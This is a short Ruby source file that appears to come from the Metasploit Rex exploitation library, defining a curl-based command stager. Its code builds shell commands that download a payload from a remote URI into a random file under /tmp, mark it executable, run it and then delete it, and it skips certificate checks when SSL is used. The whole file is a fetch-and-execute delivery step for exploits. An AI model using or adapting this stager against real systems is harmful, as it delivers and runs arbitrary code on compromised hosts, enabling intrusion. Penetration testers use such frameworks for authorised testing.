# -*- coding: binary -*- class Rex::Exploitation::CmdStagerCurl < Rex::Exploitation::CmdStagerBase def http? true end def compress_commands(cmds, opts) if opts[:payload_uri].nil? raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]" end opts[:temp] ||= '/tmp' payload_file = Rex::Text.rand_text_alpha(8) payload_path = "#{opts[:temp]}/#{payload_file}" if opts[:ssl] cmds << "curl -ko #{payload_path} #{opts[:payload_uri]}" else cmds << "curl -o #{payload_path} #{opts[:payload_uri]}" end cmds << "chmod +x #{payload_path}" cmds << payload_path cmds << "rm -f #{payload_path}" unless opts[:nodelete] super end end